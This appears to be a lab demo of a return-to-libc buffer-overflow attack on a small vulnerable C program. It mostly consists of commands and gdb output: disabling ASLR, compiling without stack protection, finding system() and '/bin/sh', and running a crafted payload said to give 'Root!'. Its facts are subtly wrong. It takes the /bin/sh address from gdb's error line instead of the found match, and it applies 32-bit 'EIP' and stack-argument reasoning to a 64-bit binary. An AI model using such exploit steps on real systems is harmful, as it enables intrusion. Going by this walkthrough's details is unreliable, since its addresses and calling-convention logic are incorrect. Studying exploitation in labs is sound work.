

## libc attack Demo

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2013H313085H

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
    char buff[5];
    if(argc != 2){
        puts("Need an arguemnt!!");
        exit(1);
    }
    printf("Exploring via returning into libc function \n");
    strcpy(buff, argv[1]);
    printf("\n You typed [%s]\n\n", buff);
    return 0;
}
```

b05@Cisco-SG300-28:~\$ ./retlib AAAAAAAAAA  
Exploring via returning into libc function

You typed [AAAAAAAAA]

\*\*\* stack smashing detected \*\*\*: ./retlib terminated  
Aborted (core dumped)

echo 0 > /proc/sys/kernel/randomize\_va\_space

gcc attack.c -o retlib -fno-stack-protector

b05@Cisco-SG300-28:~\$ ./retlib AAAAAAAAAAAAAAAAAA  
Exploring via returning into libc function

You typed [AAAAAAAAAAAAAAAAA]

b05@Cisco-SG300-28:~\$ ./retlib `perl -e 'print "A" x 30`  
Exploring via returning into libc function

You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Segmentation fault (core dumped)

b05@Cisco-SG300-28:~\$ ulimit -c unlimited // when core file size is by default 0

b05@Cisco-SG300-28:~\$ gcc -Wall -g attack.c -o retlib -fno-stack-protector

b05@Cisco-SG300-28:~\$ ./retlib `perl -e 'print "A" x 32`

b05@Cisco-SG300-28:~\$ sudo gdb -q -c core

[New LWP 5823]

Core was generated by `./retlib

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0x0000414141414141 in ?? ()

(gdb) Quit

(gdb) q

b05@Cisco-SG300-28:~\$ sudo gdb -q retlib

Reading symbols from retlib...done.

(gdb) b main

Breakpoint 1 at 0x40061c: file attack.c, line 7.

(gdb) r

Starting program: /home/b05/retlib

Breakpoint 1, main (argc=1, argv=0x7ffffffe588) at attack.c:7

7 if(argc != 2){

(gdb) p system

\$1 = {<text variable, no debug info>} 0x7ffff7a5b640 <\_\_libc\_system>

(gdb) q

A debugging session is active.

Inferior 1 [process 6033] will be killed.

Quit anyway? (y or n) y

Therefore the System address: 0x7ffff7a5b640

Now this should be the new return address

Finding the adress of /bin/sh

(gdb) print &system

\$1 = (<text variable, no debug info> \*) 0x7ffff7a5b640 <\_\_libc\_system>

(gdb) find &system,+9999999,"/bin/sh"

0x7ffff7b91cdb

warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd4363, halting

search.

1 pattern found.

(gdb) q

(gdb) p exit

\$2 = {<text variable, no debug info>} 0x7ffff7a51290 <\_\_GI\_exit>

(gdb) Quit

Therefore the address of /bin/sh is 0x7ffff7bd4363

EIP smash = 32-4= 28 (due to padding)

Noting the point that things are pushed onto the stack in the reverse order,

```
b05@Cisco-SG300-28:~$ ./retlib `perl -e 'printf "A" x 28 .  
"\x40\xb6\xa5\xf7\xff\x7fABCD\x63\x43\xbd\xf7\xff\x7f";`
```

Root!